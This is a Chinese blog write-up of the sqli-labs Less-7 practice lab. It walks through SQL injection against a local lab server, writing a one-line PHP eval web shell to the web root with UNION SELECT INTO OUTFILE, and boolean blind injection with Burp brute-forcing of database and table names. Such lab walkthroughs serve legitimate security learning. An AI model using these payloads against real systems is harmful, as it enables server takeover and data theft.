sqli-labs靶场Less-7

2023-11-19

备注:虽然从首页进来就知道是dump into outfile 但我还是假设按不知道的流程来一步步尝试,这样才会印象深刻,不然我觉得失去练习的意义了。

1、访问首页,/Less-7/index.php?id=1,这里的传参点是id

 探测六步

  1. 判断是否是数字形传参
  2. 判断是否有单引号闭合
  3. 判断是否是双引号闭合
  4. 判断是否单引号+括号闭合
  5. 判断是否是双引号+括号闭合

        如果以上都不适:哪以上规则都同时加上sleep测试一遍,看是不是存在延时注入

结果1:

 结果2:

 分析:这里我尝试不管是怎么样,通过变换 and 1=1 与 and 1=2 或者变换闭合,要么都是“You are in.... Use outfile......”,要么都是错 “You have an error in your SQL syntax ”,而不是通过变换1=1 与1=2能不一样的结果,说明这里闭合不对,让我这个菜鸟想了许久,也没得到解决,于是跑过去看了一下源码到底要怎么闭合。通过下图源码才得知,原来SQL注入还有可能存在多个括号闭合的情况,又学到了。

 结论:通过调整闭合后,修改and 1=1 与 and 1=2 得到了想要的结果,and 1=1得到正常结果,and 1=2 提示错误,同时上面看源码的时候也发现了,该源码有数据则提示正确,没数据则提示错误(个人认为算是误导)其实这个错误并不是数据库报出来的, 所以这里不能像前面一样使用报错注入,根所提示我们这里使用dump into outfile来尝试一下。

2、判断字段数量

http://192.168.21.144:8080/sqlilabs/Less-7/index.php?id=11
')) order by 4-- qwe

 分析:通过以上order by 1~4 最后order by 4 时报错,说明一共有3个字段,

3、写文件

上面一共查出有3个字段,这里通过into outfile 时因为前面有union 也是用的联合查询,所以后面也要3个字段对应。 

http://192.168.21.144:8080/sqlilabs/Less-7/index.php?id=11
')) union select 1,'<?php eval($_REQUEST[1]); ?>',3 into outfile '/var/www/html/sqlilabs/Less-7/1.php' -- qwe

 

分析:写了一个小马到服务器上,这样我们就可以通过web访问到了,但是这里写的目录为:

/var/www/html/sqlilabs/Less-7/1.php,假如真实环境下我们是否能把目录猜得这么准确呢?如果猜不准确哪把一名话小成写在/tmp/1.php下也没有用,因为解析不了。


盲注


        上面说到了假如猜解不到路径的情况应该怎么做,其实这道题同样可以使用盲注来获取数据库的数据。(注:本人不是因为做题而做题,而是为了练习技术从每个方面来分析,可能很多大佬做题时看到标题就知道怎么做,而我个人是假装是真实环境什么也不知道的情况下从头到尾来分析,请大佬们喷轻点,毕竟我还是个菜鸟,只是想多学多练,顺便做好分析笔记日后好复习)

1、使用mysql的关键字length判断库名长度

http://192.168.21.144:8080/sqlilabs/Less-7/index.php?id=11
')) and length(database())=8-- qwe

 分析:当输入length(database())>1~7时都正常显示数据,由此判断数据库长度为8位

2、使用burp爆破数据库名

抓包,并发送到爆破模块:

 设置爆破参数,一共有两个参数,一个是控制爆破数据库名8位中某个字符,一个是控制ascii码

 爆破结果分析:

分析:这里爆破出来,返回报文长度同样都是884,这就尴尬啦,平时我都是根据返回长度来判断爆破成功还是失败,这里有两种解决办法,第一是自己写程序来爆破根据返回结果来分析 ,第二是使用burp的爆破结果筛选条件。

 如下图,这就是筛选后的结果,而这8位字符就是我们的数据库名

 分析:到这里就直接把数据库的库名爆出来了。

3、使用burp爆破表名

爆破表名前先要获取表名长度 (因为我这里知道第3个表是users信息表,所以我这里就直接爆破users表)

http://192.168.21.144:8080/sqlilabs/Less-7/index.php?id=11
')) and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5-- qwe

 知道表名长度为5后,直接上burp爆破,获取表名

 4、使用burp爆破字段名

......不想爆了,盲注太麻烦了,反正道理是一样的

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs靶场Less-7 的相关文章

  • spring Bean 生命周期BeanNameAware, BeanFactoryAware, ApplicationContextAware, InitializingBean接口详解

    继续接着上一篇完成后续接口的解析 还是借用上一篇引用大佬的文章 https www jianshu com p 1dec08d290c1 第二篇spring Bean 生命周期及BeanPostProcessor和Instantiation
  • Oracle dba_ts_quotas

    修改用户表空间配额 用户bpx1默认表空间是bpx1 select default tablespace from dba users where username in BPX1 SQL gt alter user bpx1 quota
  • 人工智能巨头碰撞——埃隆·马斯克推出xAI挑战OpenAI的统治地位

    目录 前言 XAI 的推出 什么是XAI 它将聚焦于什么 一 反AI斗士 马斯克进军AI 你怎么看 二 回顾上半年的 百模大战 中国的AI产业怎么样了 三 AI大模型这把火 还能怎么烧 其它资料下载 前言 北京时间7月13日凌晨 马斯克在T
  • R语言中用于计算Rsquare的包rsq

    文章目录 理论介绍 线性模型情形 广义线性模型情形 函数介绍 rsq 的介绍 实例 rsq partial 的介绍 相关文献 pcor 函数介绍 vresidual 函数介绍 实例 理论介绍 线性模型情形 R squared 值范围 0 1
  • 软件工程期末试题及答案(史上最全)

    软件工程期末试题及答案 文章目录 软件工程期末试题及答案 一 填空题 二 选择题 三 判断题 四 简答题 五 分析题 六 画图题 一 填空题 在信息处理和计算机领域内 一般认为软件是 文库 程序 文档 和 数据 数据流图的基本组成部分有 数
  • 双机热备VRRP协议介绍及其工作原理

    VRRP协议 为了更好的解决由于网关故障引起的网络中断问题 网络开发者提出了VRRP协议 VRRP协议是一种容错协议 他保证当链路中路由器出现故障的时候 由备份路由器自动替代路由器进行工作 从而保证网络通信的持续性和可靠性 虚拟路由器 由一

随机推荐